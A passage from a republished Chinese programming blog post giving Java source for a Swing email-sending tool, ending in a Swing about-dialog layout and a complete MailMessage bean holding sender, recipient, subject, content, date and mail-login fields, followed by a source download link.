188                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
189                                         .addGroup(
190                                                 layout
191                                                         .createParallelGroup(
192                                                                 javax.swing.GroupLayout.Alignment.BASELINE)
193                                                         .addComponent(
194                                                                 versionLabel)
195                                                         .addComponent(
196                                                                 appVersionLabel))
197                                         .addPreferredGap(
198                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
199                                         .addGroup(
200                                                 layout
201                                                         .createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE))
202                                         .addPreferredGap(
203                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED)
204                                         .addGroup(
205                                                 layout
206                                                         .createParallelGroup(
207                                                                 javax.swing.GroupLayout.Alignment.BASELINE)
208                                                         .addComponent(
209                                                                 homepageLabel)
210                                                         .addComponent(
211                                                                 appHomepageLabel))
212                                         .addPreferredGap(
213                                                 javax.swing.LayoutStyle.ComponentPlacement.RELATED,
214                                                 19, Short.MAX_VALUE)
215                                         .addComponent(closeButton)
216                                         .addContainerGap()));
217         pack();
218     }
219 }

/SendMail/src/com/b510/sendmail/utils/MailMessage.java

  1 package com.b510.sendmail.utils;
  2 
  3 /**
  4  * 郵件信息
  5  * 
  6  * @author Hongten
  7  * 
  8  * @time 2012-4-4 2012
  9  */
 10 public class MailMessage {
 11     /**
 12      * 發件人
 13      */
 14     private String from;
 15     /**
 16      * 收件人
 17      */
 18     private String to;
 19     /**
 20      * 發件人,在郵件的發件人欄目中顯示
 21      */
 22     private String datafrom;
 23     /**
 24      * 收件人,在郵件的收件人欄目中顯示
 25      */
 26     private String datato;
 27     /**
 28      * 郵件主題
 29      */
 30     private String subject;
 31     /**
 32      * 郵件內容
 33      */
 34     private String content;
 35     /**
 36      * 發送日期
 37      */
 38     private String date;
 39     /**
 40      * 登陸郵箱的用戶名
 41      */
 42     private String user;
 43     /**
 44      * 登陸郵箱的密碼
 45      */
 46     private String password;
 47 
 48     /**
 49      * 獲取發件人
 50      * 
 51      * @return 發件人
 52      */
 53     public String getFrom() {
 54         return from;
 55     }
 56 
 57     /**
 58      * 設置發件人
 59      * 
 60      * @param from
 61      *            發件人
 62      */
 63     public void setFrom(String from) {
 64         this.from = from;
 65     }
 66 
 67     /**
 68      * 獲取收件人
 69      * 
 70      * @return 收件人
 71      */
 72     public String getTo() {
 73         return to;
 74     }
 75 
 76     /**
 77      * 設置收件人
 78      * 
 79      * @param to
 80      *            收件人
 81      */
 82     public void setTo(String to) {
 83         this.to = to;
 84     }
 85 
 86     /**
 87      * 獲取發件人,在郵件的發件人欄目中顯示
 88      * 
 89      * @return 發件人,在郵件的發件人欄目中顯示
 90      */
 91     public String getDatafrom() {
 92         return datafrom;
 93     }
 94 
 95     /**
 96      * 設置發件人,在郵件的發件人欄目中顯示
 97      * 
 98      * @param datafrom
 99      *            發件人,在郵件的發件人欄目中顯示
100      */
101     public void setDatafrom(String datafrom) {
102         this.datafrom = datafrom;
103     }
104 
105     /**
106      * 獲取收件人,在郵件的收件人欄目中顯示
107      * 
108      * @return 收件人,在郵件的收件人欄目中顯示
109      */
110     public String getDatato() {
111         return datato;
112     }
113 
114     /**
115      * 設置收件人,在郵件的收件人欄目中顯示
116      * 
117      * @param datato
118      *            收件人,在郵件的收件人欄目中顯示
119      */
120     public void setDatato(String datato) {
121         this.datato = datato;
122     }
123 
124     /**
125      * 獲取郵件主題
126      * 
127      * @return 郵件主題
128      */
129     public String getSubject() {
130         return subject;
131     }
132 
133     /**
134      * 設置郵件主題
135      * 
136      * @param subject
137      *            郵件主題
138      */
139     public void setSubject(String subject) {
140         this.subject = subject;
141     }
142 
143     /**
144      * 獲取郵件內容
145      * 
146      * @return 郵件內容
147      */
148     public String getContent() {
149         return content;
150     }
151 
152     /**
153      * 設置郵件內容
154      * 
155      * @param content
156      *            郵件內容
157      */
158     public void setContent(String content) {
159         this.content = content;
160     }
161 
162     /**
163      * 獲取發送日期
164      * 
165      * @return 發送日期
166      */
167     public String getDate() {
168         return date;
169     }
170 
171     /**
172      * 設置發送日期
173      * 
174      * @param date
175      *            發送日期
176      */
177     public void setDate(String date) {
178         this.date = date;
179     }
180 
181     /**
182      * 獲取登陸郵箱的用戶名
183      * 
184      * @return 登陸郵箱的用戶名
185      */
186     public String getUser() {
187         return user;
188     }
189 
190     /**
191      * 設置登陸郵箱的用戶名
192      * 
193      * @param user
194      *            登陸郵箱的用戶名
195      */
196     public void setUser(String user) {
197         this.user = user;
198     }
199 
200     /**
201      * 獲取登陸郵箱的密碼
202      * 
203      * @return 登陸郵箱的密碼
204      */
205     public String getPassword() {
206         return password;
207     }
208 
209     /**
210      * 設置登陸郵箱的密碼
211      * 
212      * @param password
213      *            登陸郵箱的密碼
214      */
215     public void setPassword(String password) {
216         this.password = password;
217     }
218 
219 }

 

源碼下載:http://files.cnblogs.com/hongten/SendMail_yousini.zip

I'm Hongten


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM